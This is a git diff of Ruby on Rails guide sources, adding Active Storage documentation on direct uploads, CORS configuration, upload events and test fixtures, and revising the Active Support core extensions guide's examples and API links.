+input field with the direct upload URL via `data-direct-upload-url` attribute.
+
+    ```erb
+    <%= form.file_field :attachments, multiple: true, direct_upload: true %>
+    ```
+
+    Or, if you aren't using a `FormBuilder`, add the data attribute directly:
+
+    ```erb
+    <input type="file" data-direct-upload-url="<%= rails_direct_uploads_url %>" />
+    ```
+
+3. Configure CORS on third-party storage services to allow direct upload requests.
+
+4. That's it! Uploads begin upon form submission.
+
+### Cross-Origin Resource Sharing (CORS) Configuration
+
+To make direct uploads to a third-party service work, you’ll need to configure the service to allow cross-origin requests from your app. Consult the CORS documentation for your service:
+
+* [S3](https://docs.aws.amazon.com/AmazonS3/latest/userguide/enabling-cors-examples.html)
+* [Google Cloud Storage](https://cloud.google.com/storage/docs/configuring-cors)
+
+Take care to allow:
+
+* All origins from which your app is accessed
+* The `PUT` request method
+* The following headers:
+  * `Content-Type`
+  * `Content-MD5`
+  * `Content-Disposition`
+  * `Cache-Control` (for GCS, only if `cache_control` is set)
+
+No CORS configuration is required for the Disk service since it shares your app’s origin.
+
+#### Example: S3 CORS Configuration
+
+```json
+[
+  {
+    "AllowedHeaders": [
+      "Content-Type",
+      "Content-MD5",
+      "Content-Disposition"
+    ],
+    "AllowedMethods": [
+      "PUT"
+    ],
+    "AllowedOrigins": [
+      "https://www.example.com"
+    ],
+    "MaxAgeSeconds": 3600
+  }
+]
+```
+
+#### Example: Google Cloud Storage CORS Configuration
+
+```json
+[
+  {
+    "origin": ["https://www.example.com"],
+    "method": ["PUT"],
+    "responseHeader": ["Content-Type", "Content-MD5", "Content-Disposition"],
+    "maxAgeSeconds": 3600
+  }
+]
+```
+
+### Direct Upload JavaScript Events
+
+| Event name | Event target | Event data (`event.detail`) | Description |
+| --- | --- | --- | --- |
+| `direct-uploads:start` | `<form>` | None | A form containing files for direct upload fields was submitted. |
+| `direct-upload:initialize` | `<input>` | `{id, file}` | Dispatched for every file after form submission. |
+| `direct-upload:start` | `<input>` | `{id, file}` | A direct upload is starting. |
+| `direct-upload:before-blob-request` | `<input>` | `{id, file, xhr}` | Before making a request to your application for direct upload metadata. |
+| `direct-upload:before-storage-request` | `<input>` | `{id, file, xhr}` | Before making a request to store a file. |
+| `direct-upload:progress` | `<input>` | `{id, file, progress}` | As requests to store files progress. |
+| `direct-upload:error` | `<input>` | `{id, file, error}` | An error occurred. An `alert` will display unless this event is canceled. |
+| `direct-upload:end` | `<input>` | `{id, file}` | A direct upload has ended. |
+| `direct-uploads:end` | `<form>` | None | All direct uploads have ended. |
+
+### Example
+
+You can use these events to show the progress of an upload.
+
+![direct-uploads](https://user-images.githubusercontent.com/5355/28694528-16e69d0c-72f8-11e7-91a7-c0b8cfc90391.gif)
+
+To show the uploaded files in a form:
+
+```js
+// direct_uploads.js
+
+addEventListener("direct-upload:initialize", event => {
+  const { target, detail } = event
+  const { id, file } = detail
+  target.insertAdjacentHTML("beforebegin", `
+    <div id="direct-upload-${id}" class="direct-upload direct-upload--pending">
+      <div id="direct-upload-progress-${id}" class="direct-upload__progress" style="width: 0%"></div>
+      <span class="direct-upload__filename"></span>
+    </div>
+  `)
+  target.previousElementSibling.querySelector(`.direct-upload__filename`).textContent = file.name
+})
+
+addEventListener("direct-upload:start", event => {
+  const { id } = event.detail
+  const element = document.getElementById(`direct-upload-${id}`)
+  element.classList.remove("direct-upload--pending")
+})
+
+addEventListener("direct-upload:progress", event => {
+  const { id, progress } = event.detail
+  const progressElement = document.getElementById(`direct-upload-progress-${id}`)
+  progressElement.style.width = `${progress}%`
+})
+
+addEventListener("direct-upload:error", event => {
+  event.preventDefault()
+  const { id, error } = event.detail
+  const element = document.getElementById(`direct-upload-${id}`)
+  element.classList.add("direct-upload--error")
+  element.setAttribute("title", error)
+})
+
+addEventListener("direct-upload:end", event => {
+  const { id } = event.detail
+  const element = document.getElementById(`direct-upload-${id}`)
+  element.classList.add("direct-upload--complete")
+})
+```
+
+Add styles:
+
+```css
+/* direct_uploads.css */
+
+.direct-upload {
+  display: inline-block;
+  position: relative;
+  padding: 2px 4px;
+  margin: 0 3px 3px 0;
+  border: 1px solid rgba(0, 0, 0, 0.3);
+  border-radius: 3px;
+  font-size: 11px;
+  line-height: 13px;
+}
+
+.direct-upload--pending {
+  opacity: 0.6;
+}
+
+.direct-upload__progress {
+  position: absolute;
+  top: 0;
+  left: 0;
+  bottom: 0;
+  opacity: 0.2;
+  background: #0076ff;
+  transition: width 120ms ease-out, opacity 60ms 60ms ease-in;
+  transform: translate3d(0, 0, 0);
+}
+
+.direct-upload--complete .direct-upload__progress {
+  opacity: 0.4;
+}
+
+.direct-upload--error {
+  border-color: red;
+}
+
+input[type=file][data-direct-upload-url][disabled] {
+  display: none;
+}
+```
+
+### Custom drag and drop solutions
+
+You can use the `DirectUpload` class for this purpose. Upon receiving a file from your library
+of choice, instantiate a DirectUpload and call its create method. Create takes
+a callback to invoke when the upload completes.
+
+```js
+import { DirectUpload } from "@rails/activestorage"
+
+const input = document.querySelector('input[type=file]')
+
+// Bind to file drop - use the ondrop on a parent element or use a
+//  library like Dropzone
+const onDrop = (event) => {
+  event.preventDefault()
+  const files = event.dataTransfer.files;
+  Array.from(files).forEach(file => uploadFile(file))
+}
+
+// Bind to normal file selection
+input.addEventListener('change', (event) => {
+  Array.from(input.files).forEach(file => uploadFile(file))
+  // you might clear the selected files from the input
+  input.value = null
+})
+
+const uploadFile = (file) => {
+  // your form needs the file_field direct_upload: true, which
+  //  provides data-direct-upload-url
+  const url = input.dataset.directUploadUrl
+  const upload = new DirectUpload(file, url)
+
+  upload.create((error, blob) => {
+    if (error) {
+      // Handle the error
+    } else {
+      // Add an appropriately-named hidden input to the form with a
+      //  value of blob.signed_id so that the blob ids will be
+      //  transmitted in the normal upload flow
+      const hiddenField = document.createElement('input')
+      hiddenField.setAttribute("type", "hidden");
+      hiddenField.setAttribute("value", blob.signed_id);
+      hiddenField.name = input.name
+      document.querySelector('form').appendChild(hiddenField)
+    }
+  })
+}
+```
+
+### Track the progress of the file upload
+
+When using the `DirectUpload` constructor, it is possible to include a third parameter.
+This will allow the `DirectUpload` object to invoke the `directUploadWillStoreFileWithXHR`
+method during the upload process.
+You can then attach your own progress handler to the XHR to suit your needs.
+
+```js
+import { DirectUpload } from "@rails/activestorage"
+
+class Uploader {
+  constructor(file, url) {
+    this.upload = new DirectUpload(file, url, this)
+  }
+
+  uploadFile(file) {
+    this.upload.create((error, blob) => {
+      if (error) {
+        // Handle the error
+      } else {
+        // Add an appropriately-named hidden input to the form
+        // with a value of blob.signed_id
+      }
+    })
+  }
+
+  directUploadWillStoreFileWithXHR(request) {
+    request.upload.addEventListener("progress",
+      event => this.directUploadDidProgress(event))
+  }
+
+  directUploadDidProgress(event) {
+    // Use event.loaded and event.total to update the progress bar
+  }
+}
+```
+
+### Integrating with Libraries or Frameworks
+
+Once you receive a file from the library you have selected, you need to create
+a `DirectUpload` instance and use its "create" method to initiate the upload process,
+adding any required additional headers as necessary. The "create" method also requires
+a callback function to be provided that will be triggered once the upload has finished.
+
+```js
+import { DirectUpload } from "@rails/activestorage"
+
+class Uploader {
+  constructor(file, url, token) {
+    const headers = { 'Authentication': `Bearer ${token}` }
+    // INFO: Sending headers is an optional parameter. If you choose not to send headers,
+    //       authentication will be performed using cookies or session data.
+    this.upload = new DirectUpload(file, url, this, headers)
+  }
+
+  uploadFile(file) {
+    this.upload.create((error, blob) => {
+      if (error) {
+        // Handle the error
+      } else {
+        // Use the with blob.signed_id as a file reference in next request
+      }
+    })
+  }
+
+  directUploadWillStoreFileWithXHR(request) {
+    request.upload.addEventListener("progress",
+      event => this.directUploadDidProgress(event))
+  }
+
+  directUploadDidProgress(event) {
+    // Use event.loaded and event.total to update the progress bar
+  }
+}
+```
+
+To implement customized authentication, a new controller must be created on
+the Rails application, similar to the following:
+
+```ruby
+class DirectUploadsController < ActiveStorage::DirectUploadsController
+  skip_forgery_protection
+  before_action :authenticate!
+
+  def authenticate!
+    @token = request.headers["Authorization"]&.split&.last
+
+    head :unauthorized unless valid_token?(@token)
+  end
+end
+```
+
+NOTE: Using [Direct Uploads](#direct-uploads) can sometimes result in a file that uploads, but never attaches to a record. Consider [purging unattached uploads](#purging-unattached-uploads).
+
+Testing
+-------------------------------------------
+
+Use [`file_fixture_upload`][] to test uploading a file in an integration or controller test.
+Rails handles files like any other parameter.
+
+```ruby
+class SignupController < ActionDispatch::IntegrationTest
+  test "can sign up" do
+    post signup_path, params: {
+      name: "David",
+      avatar: file_fixture_upload("david.png", "image/png")
+    }
+
+    user = User.order(:created_at).last
+    assert user.avatar.attached?
+  end
+end
+```
+
+[`file_fixture_upload`]: https://api.rubyonrails.org/classes/ActionDispatch/TestProcess/FixtureFile.html#method-i-file_fixture_upload
+
+### Discarding Files Created During Tests
+
+#### System Tests
+
+System tests clean up test data by rolling back a transaction. Because `destroy`
+is never called on an object, the attached files are never cleaned up. If you
+want to clear the files, you can do it in an `after_teardown` callback. Doing it
+here ensures that all connections created during the test are complete and
+you won't receive an error from Active Storage saying it can't find a file.
+
+```ruby
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  # ...
+  def after_teardown
+    super
+    FileUtils.rm_rf(ActiveStorage::Blob.service.root)
+  end
+  # ...
+end
+```
+
+If you're using [parallel tests][] and the `DiskService`, you should configure each process to use its own
+folder for Active Storage. This way, the `teardown` callback will only delete files from the relevant process'
+tests.
+
+```ruby
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  # ...
+  parallelize_setup do |i|
+    ActiveStorage::Blob.service.root = "#{ActiveStorage::Blob.service.root}-#{i}"
+  end
+  # ...
+end
+```
+
+If your system tests verify the deletion of a model with attachments and you're
+using Active Job, set your test environment to use the inline queue adapter so
+the purge job is executed immediately rather at an unknown time in the future.
+
+```ruby
+# Use inline job processing to make things happen immediately
+config.active_job.queue_adapter = :inline
+```
+
+[parallel tests]: testing.html#parallel-testing
+
+#### Integration Tests
+
+Similarly to System Tests, files uploaded during Integration Tests will not be
+automatically cleaned up. If you want to clear the files, you can do it in an
+`teardown` callback.
+
+```ruby
+class ActionDispatch::IntegrationTest
+  def after_teardown
+    super
+    FileUtils.rm_rf(ActiveStorage::Blob.service.root)
+  end
+end
+```
+
+If you're using [parallel tests][] and the Disk service, you should configure each process to use its own
+folder for Active Storage. This way, the `teardown` callback will only delete files from the relevant process'
+tests.
+
+```ruby
+class ActionDispatch::IntegrationTest
+  parallelize_setup do |i|
+    ActiveStorage::Blob.service.root = "#{ActiveStorage::Blob.service.root}-#{i}"
+  end
+end
+```
+
+[parallel tests]: testing.html#parallel-testing
+
+### Adding Attachments to Fixtures
+
+You can add attachments to your existing [fixtures][]. First, you'll want to create a separate storage service:
+
+```yml
+# config/storage.yml
+
+test_fixtures:
+  service: Disk
+  root: <%= Rails.root.join("tmp/storage_fixtures") %>
+```
+
+This tells Active Storage where to "upload" fixture files to, so it should be a temporary directory. By making it
+a different directory to your regular `test` service, you can separate fixture files from files uploaded during a
+test.
+
+Next, create fixture files for the Active Storage classes:
+
+```yml
+# test/fixtures/active_storage/attachments.yml
+david_avatar:
+  name: avatar
+  record: david (User)
+  blob: david_avatar_blob
+```
+
+```yml
+# test/fixtures/active_storage/blobs.yml
+david_avatar_blob: <%= ActiveStorage::FixtureSet.blob filename: "david.png", service_name: "test_fixtures" %>
+```
+
+Then put a file in your fixtures directory (the default path is `test/fixtures/files`) with the corresponding filename.
+See the [`ActiveStorage::FixtureSet`][] docs for more information.
+
+Once everything is set up, you'll be able to access attachments in your tests:
+
+```ruby
+class UserTest < ActiveSupport::TestCase
+  def test_avatar
+    avatar = users(:david).avatar
+
+    assert avatar.attached?
+    assert_not_nil avatar.download
+    assert_equal 1000, avatar.byte_size
+  end
+end
+```
+
+#### Cleaning up Fixtures
+
+While files uploaded in tests are cleaned up [at the end of each test](#discarding-files-created-during-tests),
+you only need to clean up fixture files once: when all your tests complete.
+
+If you're using parallel tests, call `parallelize_teardown`:
+
+```ruby
+class ActiveSupport::TestCase
+  # ...
+  parallelize_teardown do |i|
+    FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root)
+  end
+  # ...
+end
+```
+
+If you're not running parallel tests, use `Minitest.after_run` or the equivalent for your test
+framework (e.g. `after(:suite)` for RSpec):
+
+```ruby
+# test_helper.rb
+
+Minitest.after_run do
+  FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root)
+end
+```
+
+[fixtures]: testing.html#fixtures
+[`ActiveStorage::FixtureSet`]: https://api.rubyonrails.org/classes/ActiveStorage/FixtureSet.html
+
+### Configuring services
+
+You can add `config/storage/test.yml` to configure services to be used in test environment.
+This is useful when the `service` option is used.
+
+```ruby
+class User < ApplicationRecord
+  has_one_attached :avatar, service: :s3
+end
+```
+
+Without `config/storage/test.yml`, the `s3` service configured in `config/storage.yml` is used - even when running tests.
+
+The default configuration would be used and files would be uploaded to the service provider configured in `config/storage.yml`.
+
+In this case, you can add `config/storage/test.yml` and use Disk service for `s3` service to prevent sending requests.
+
+```yaml
+test:
+  service: Disk
+  root: <%= Rails.root.join("tmp/storage") %>
+
+s3:
+  service: Disk
+  root: <%= Rails.root.join("tmp/storage") %>
+```
+
+Implementing Support for Other Cloud Services
+---------------------------------------------
+
+If you need to support a cloud service other than these, you will need to
+implement the Service. Each service extends
+[`ActiveStorage::Service`](https://api.rubyonrails.org/classes/ActiveStorage/Service.html)
+by implementing the methods necessary to upload and download files to the cloud.
+
+Purging Unattached Uploads
+--------------------------
+
+There are cases where a file is uploaded but never attached to a record. This can happen when using [Direct Uploads](#direct-uploads). You can query for unattached records using the [unattached scope](https://github.com/rails/rails/blob/8ef5bd9ced351162b673904a0b77c7034ca2bc20/activestorage/app/models/active_storage/blob.rb#L49). Below is an example using a [custom rake task](command_line.html#custom-rake-tasks).
+
+```ruby
+namespace :active_storage do
+  desc "Purges unattached Active Storage blobs. Run regularly."
+  task purge_unattached: :environment do
+    ActiveStorage::Blob.unattached.where(created_at: ..2.days.ago).find_each(&:purge_later)
+  end
+end
+```
+
+WARNING: The query generated by `ActiveStorage::Blob.unattached` can be slow and potentially disruptive on applications with larger databases.
diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md
index 67bed4c8da6b9..abb872170ce6b 100644
--- a/guides/source/active_support_core_extensions.md
+++ b/guides/source/active_support_core_extensions.md
@@ -1,9 +1,10 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Active Support Core Extensions
 ==============================
 
-Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff.
+Active Support is the Ruby on Rails component responsible for providing Ruby
+language extensions and utilities.
 
 It offers a richer bottom-line at the language level, targeted both at the development of Rails applications, and at the development of Ruby on Rails itself.
 
@@ -21,42 +22,46 @@ How to Load Core Extensions
 
 ### Stand-Alone Active Support
 
-In order to have a near-zero default footprint, Active Support does not load anything by default. It is broken in small pieces so that you can load just what you need, and also has some convenience entry points to load related extensions in one shot, even everything.
+In order to have the smallest default footprint possible, Active Support loads the minimum dependencies by default. It is broken in small pieces so that only the desired extensions can be loaded. It also has some convenience entry points to load related extensions in one shot, even everything.
 
 Thus, after a simple require like:
 
 ```ruby
-require 'active_support'
+require "active_support"
 ```
 
-objects do not even respond to `blank?`. Let's see how to load its definition.
+only the extensions required by the Active Support framework are loaded.
 
 #### Cherry-picking a Definition
 
-The most lightweight way to get `blank?` is to cherry-pick the file that defines it.
+This example shows how to load [`Hash#with_indifferent_access`][Hash#with_indifferent_access].  This extension enables the conversion of a `Hash` into an [`ActiveSupport::HashWithIndifferentAccess`][ActiveSupport::HashWithIndifferentAccess] which permits access to the keys as either strings or symbols.
 
-For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of `blank?` the note reads:
+```ruby
+{ a: 1 }.with_indifferent_access["a"] # => 1
+```
 
-NOTE: Defined in `active_support/core_ext/object/blank.rb`.
+For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of `with_indifferent_access` the note reads:
+
+NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`.
 
 That means that you can require it like this:
 
 ```ruby
-require 'active_support'
-require 'active_support/core_ext/object/blank'
+require "active_support"
+require "active_support/core_ext/hash/indifferent_access"
 ```
 
 Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any.
 
 #### Loading Grouped Core Extensions
 
-The next level is to simply load all extensions to `Object`. As a rule of thumb, extensions to `SomeClass` are available in one shot by loading `active_support/core_ext/some_class`.
+The next level is to simply load all extensions to `Hash`. As a rule of thumb, extensions to `SomeClass` are available in one shot by loading `active_support/core_ext/some_class`.
 
-Thus, to load all extensions to `Object` (including `blank?`):
+Thus, to load all extensions to `Hash` (including `with_indifferent_access`):
 
 ```ruby
-require 'active_support'
-require 'active_support/core_ext/object'
+require "active_support"
+require "active_support/core_ext/hash"
 ```
 
 #### Loading All Core Extensions
@@ -64,8 +69,8 @@ require 'active_support/core_ext/object'
 You may prefer just to load all core extensions, there is a file for that:
 
 ```ruby
-require 'active_support'
-require 'active_support/core_ext'
+require "active_support"
+require "active_support/core_ext"
 ```
 
 #### Loading All Active Support
@@ -73,14 +78,16 @@ require 'active_support/core_ext'
 And finally, if you want to have all Active Support available just issue:
 
 ```ruby
-require 'active_support/all'
+require "active_support/all"
 ```
 
 That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via `autoload`, so it is only loaded if used.
 
 ### Active Support Within a Ruby on Rails Application
 
-A Ruby on Rails application loads all Active Support unless `config.active_support.bare` is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.
+A Ruby on Rails application loads all Active Support unless [`config.active_support.bare`][] is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.
+
+[`config.active_support.bare`]: configuring.html#config-active-support-bare
 
 Extensions to All Objects
 -------------------------
@@ -101,7 +108,7 @@ INFO: The predicate for strings uses the Unicode-aware character class `[:space:
 
 WARNING: Note that numbers are not mentioned. In particular, 0 and 0.0 are **not** blank.
 
-For example, this method from `ActionController::HttpAuthentication::Token::ControllerMethods` uses `blank?` for checking whether a token is present:
+For example, this method from `ActionController::HttpAuthentication::Token::ControllerMethods` uses [`blank?`][Object#blank?] for checking whether a token is present:
 
 ```ruby
 def authenticate(controller, &login_procedure)
@@ -112,114 +119,94 @@ def authenticate(controller, &login_procedure)
 end
 ```
 
-The method `present?` is equivalent to `!blank?`. This example is taken from `ActionDispatch::Http::Cache::Response`:
+The method [`present?`][Object#present?] is equivalent to `!blank?`. This example is taken from `ActionDispatch::Http::Cache::Response`:
 
 ```ruby
 def set_conditional_cache_control!
-  return if self["Cache-Control"].present?
-  ...
+  unless self["Cache-Control"].present?
+    # ...
+  end
 end
 ```
 
 NOTE: Defined in `active_support/core_ext/object/blank.rb`.
 
+[Object#blank?]: https://api.rubyonrails.org/classes/Object.html#method-i-blank-3F
+[Object#present?]: https://api.rubyonrails.org/classes/Object.html#method-i-present-3F
+
 ### `presence`
 
-The `presence` method returns its receiver if `present?`, and `nil` otherwise. It is useful for idioms like this:
+The [`presence`][Object#presence] method returns its receiver if `present?`, and `nil` otherwise. It is useful for idioms like this:
 
 ```ruby
-host = config[:host].presence || 'localhost'
+host = config[:host].presence || "localhost"
 ```
 
 NOTE: Defined in `active_support/core_ext/object/blank.rb`.
 
+[Object#presence]: https://api.rubyonrails.org/classes/Object.html#method-i-presence
+
 ### `duplicable?`
 
-In Ruby 2.4 most objects can be duplicated via `dup` or `clone` except 
-methods and certain numbers. Though Ruby 2.2 and 2.3 can't duplicate `nil`,
-`false`, `true`, and  symbols as well as instances `Float`, `Fixnum`, 
-and `Bignum` instances.
+As of Ruby 2.5, most objects can be duplicated via `dup` or `clone`:
 
 ```ruby
 "foo".dup           # => "foo"
 "".dup              # => ""
-1.method(:+).dup    # => TypeError: allocator undefined for Method
-Complex(0).dup      # => TypeError: can't copy Complex
+Rational(1).dup     # => (1/1)
+Complex(0).dup      # => (0+0i)
+1.method(:+).dup    # => TypeError (allocator undefined for Method)
 ```
 
-Active Support provides `duplicable?` to query an object about this:
+Active Support provides [`duplicable?`][Object#duplicable?] to query an object about this:
 
 ```ruby
 "foo".duplicable?           # => true
 "".duplicable?              # => true
-Rational(1).duplicable?     # => false
-Complex(1).duplicable?      # => false
+Rational(1).duplicable?     # => true
+Complex(1).duplicable?      # => true
 1.method(:+).duplicable?    # => false
 ```
 
-`duplicable?` matches Ruby's `dup` according to the Ruby version.
-
-So in 2.4:
-
-```ruby
-nil.dup                 # => nil
-:my_symbol.dup          # => :my_symbol
-1.dup                   # => 1
-
-nil.duplicable?         # => true
-:my_symbol.duplicable?  # => true
-1.duplicable?           # => true
-```
-
-Whereas in 2.2 and 2.3:
-
-```ruby
-nil.dup                 # => TypeError: can't dup NilClass
-:my_symbol.dup          # => TypeError: can't dup Symbol
-1.dup                   # => TypeError: can't dup Fixnum
-
-nil.duplicable?         # => false
-:my_symbol.duplicable?  # => false
-1.duplicable?           # => false
-```
-
 WARNING: Any class can disallow duplication by removing `dup` and `clone` or raising exceptions from them. Thus only `rescue` can tell whether a given arbitrary object is duplicable. `duplicable?` depends on the hard-coded list above, but it is much faster than `rescue`. Use it only if you know the hard-coded list is enough in your use case.
 
 NOTE: Defined in `active_support/core_ext/object/duplicable.rb`.
 
+[Object#duplicable?]: https://api.rubyonrails.org/classes/Object.html#method-i-duplicable-3F
+
 ### `deep_dup`
 
-The `deep_dup` method returns a deep copy of a given object. Normally, when you `dup` an object that contains other objects, Ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this:
+The [`deep_dup`][Object#deep_dup] method returns a deep copy of a given object. Normally, when you `dup` an object that contains other objects, Ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this:
 
 ```ruby
-array     = ['string']
+array     = ["string"]
 duplicate = array.dup
 
-duplicate.push 'another-string'
+duplicate.push "another-string"
 
 # the object was duplicated, so the element was added only to the duplicate
-array     # => ['string']
-duplicate # => ['string', 'another-string']
+array     # => ["string"]
+duplicate # => ["string", "another-string"]
 
-duplicate.first.gsub!('string', 'foo')
+duplicate.first.gsub!("string", "foo")
 
 # first element was not duplicated, it will be changed in both arrays
-array     # => ['foo']
-duplicate # => ['foo', 'another-string']
+array     # => ["foo"]
+duplicate # => ["foo, "another-string"]
 ```
 
-As you can see, after duplicating the `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make deep copy, the string inside the array is still the same object.
+As you can see, after duplicating the `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make a deep copy, the string inside the array is still the same object.
 
 If you need a deep copy of an object, you should use `deep_dup`. Here is an example:
 
 ```ruby
-array     = ['string']
+array     = ["string"]
 duplicate = array.deep_dup
 
-duplicate.first.gsub!('string', 'foo')
+duplicate.first.gsub!("string", "foo")
 
-array     # => ['string']
-duplicate # => ['foo']
+array     # => ["string"]
+duplicate # => ["foo"]
 ```
 
 If the object is not duplicable, `deep_dup` will just return it:
@@ -232,9 +219,11 @@ number.object_id == duplicate.object_id   # => true
 
 NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
 
+[Object#deep_dup]: https://api.rubyonrails.org/classes/Object.html#method-i-deep_dup
+
 ### `try`
 
-When you want to call a method on an object only if it is not `nil`, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use `try`. `try` is like `Object#send` except that it returns `nil` if sent to `nil`.
+When you want to call a method on an object only if it is not `nil`, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use [`try`][Object#try]. `try` is like `Object#public_send` except that it returns `nil` if sent to `nil`.
 
 Here is an example:
 
@@ -253,8 +242,8 @@ Another example is this code from `ActiveRecord::ConnectionAdapters::AbstractAda
 ```ruby
 def log_info(sql, name, ms)
   if @logger.try(:debug?)
-    name = '%s (%.1fms)' % [name || 'SQL', ms]
-    @logger.debug(format_log_entry(name, sql.squeeze(' ')))
+    name = "%s (%.1fms)" % [name || "SQL", ms]
+    @logger.debug(format_log_entry(name, sql.squeeze(" ")))
   end
 end
 ```
@@ -265,7 +254,7 @@ end
 @person.try { |p| "#{p.first_name} #{p.last_name}" }
 ```
 
-Note that `try` will swallow no-method errors, returning nil instead. If you want to protect against typos, use `try!` instead:
+Note that `try` will swallow no-method errors, returning nil instead. If you want to protect against typos, use [`try!`][Object#try!] instead:
 
 ```ruby
 @number.try(:nest)  # => nil
@@ -274,9 +263,12 @@ Note that `try` will swallow no-method errors, returning nil instead. If you wan
 
 NOTE: Defined in `active_support/core_ext/object/try.rb`.
 
+[Object#try]: https://api.rubyonrails.org/classes/Object.html#method-i-try
+[Object#try!]: https://api.rubyonrails.org/classes/Object.html#method-i-try-21
+
 ### `class_eval(*args, &block)`
 
-You can evaluate code in the context of any object's singleton class using `class_eval`:
+You can evaluate code in the context of any object's singleton class using [`class_eval`][Kernel#class_eval]:
 
 ```ruby
 class Proc
@@ -295,9 +287,11 @@ end
 
 NOTE: Defined in `active_support/core_ext/kernel/singleton_class.rb`.
 
+[Kernel#class_eval]: https://api.rubyonrails.org/classes/Kernel.html#method-i-class_eval
+
 ### `acts_like?(duck)`
 
-The method `acts_like?` provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as `String` defines
+The method [`acts_like?`][Object#acts_like?] provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as `String` defines
 
 ```ruby
 def acts_like_string?
@@ -314,9 +308,11 @@ Rails has classes that act like `Date` or `Time` and follow this contract.
 
 NOTE: Defined in `active_support/core_ext/object/acts_like.rb`.
 
+[Object#acts_like?]: https://api.rubyonrails.org/classes/Object.html#method-i-acts_like-3F
+
 ### `to_param`
 
-All objects in Rails respond to the method `to_param`, which is meant to return something that represents them as values in a query string, or as URL fragments.
+All objects in Rails respond to the method [`to_param`][Object#to_param], which is meant to return something that represents them as values in a query string, or as URL fragments.
 
 By default `to_param` just calls `to_s`:
 
@@ -332,7 +328,7 @@ The return value of `to_param` should **not** be escaped:
 
 Several classes in Rails overwrite this method.
 
-For example `nil`, `true`, and `false` return themselves. `Array#to_param` calls `to_param` on the elements and joins the result with "/":
+For example `nil`, `true`, and `false` return themselves. [`Array#to_param`][Array#to_param] calls `to_param` on the elements and joins the result with "/":
 
 ```ruby
 [0, true, String].to_param # => "0/true/String"
@@ -358,9 +354,12 @@ WARNING. Controllers need to be aware of any redefinition of `to_param` because
 
 NOTE: Defined in `active_support/core_ext/object/to_param.rb`.
 
+[Array#to_param]: https://api.rubyonrails.org/classes/Array.html#method-i-to_param
+[Object#to_param]: https://api.rubyonrails.org/classes/Object.html#method-i-to_param
+
 ### `to_query`
 
-Except for hashes, given an unescaped `key` this method constructs the part of a query string that would map such key to what `to_param` returns. For example, given
+The [`to_query`][Object#to_query] method constructs a query string that associates a given `key` with the return value of `to_param`. For example, with the following `to_param` definition:
 
 ```ruby
 class User
@@ -373,13 +372,13 @@ end
 we get:
 
 ```ruby
-current_user.to_query('user') # => "user=357-john-smith"
+current_user.to_query("user") # => "user=357-john-smith"
 ```
 
 This method escapes whatever is needed, both for the key and the value:
 
 ```ruby
-account.to_query('company[name]')
+account.to_query("company[name]")
 # => "company%5Bname%5D=Johnson+%26+Johnson"
 ```
 
@@ -388,28 +387,31 @@ so its output is ready to be used in a query string.
 Arrays return the result of applying `to_query` to each element with `key[]` as key, and join the result with "&":
 
 ```ruby
-[3.4, -45.6].to_query('sample')
+[3.4, -45.6].to_query("sample")
 # => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
 ```
 
 Hashes also respond to `to_query` but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling `to_query(key)` on its values. Then it joins the result with "&":
 
 ```ruby
-{c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3"
+{ c: 3, b: 2, a: 1 }.to_query # => "a=1&b=2&c=3"
 ```
 
-The method `Hash#to_query` accepts an optional namespace for the keys:
+The method [`Hash#to_query`][Hash#to_query] accepts an optional namespace for the keys:
 
 ```ruby
-{id: 89, name: "John Smith"}.to_query('user')
+{ id: 89, name: "John Smith" }.to_query("user")
 # => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
 ```
 
 NOTE: Defined in `active_support/core_ext/object/to_query.rb`.
 
+[Hash#to_query]: https://api.rubyonrails.org/classes/Hash.html#method-i-to_query
+[Object#to_query]: https://api.rubyonrails.org/classes/Object.html#method-i-to_query
+
 ### `with_options`
 
-The method `with_options` provides a way to factor out common options in a series of method calls.
+The method [`with_options`][Object#with_options] provides a way to factor out common options in a series of method calls.
 
 Given a default options hash, `with_options` yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:
 
@@ -448,9 +450,11 @@ TIP: Since `with_options` forwards calls to its receiver they can be nested. Eac
 
 NOTE: Defined in `active_support/core_ext/object/with_options.rb`.
 
-### JSON support
+[Object#with_options]: https://api.rubyonrails.org/classes/Object.html#method-i-with_options
+
+### JSON Support
 
-Active Support provides a better implementation of `to_json` than the `json` gem ordinarily provides for Ruby objects. This is because some classes, like `Hash`, `OrderedHash` and `Process::Status` need special handling in order to provide a proper JSON representation.
+Active Support provides a better implementation of `to_json` than the `json` gem ordinarily provides for Ruby objects. This is because some classes, like `Hash` and `Process::Status` need special handling in order to provide a proper JSON representation.
 
 NOTE: Defined in `active_support/core_ext/object/json.rb`.
 
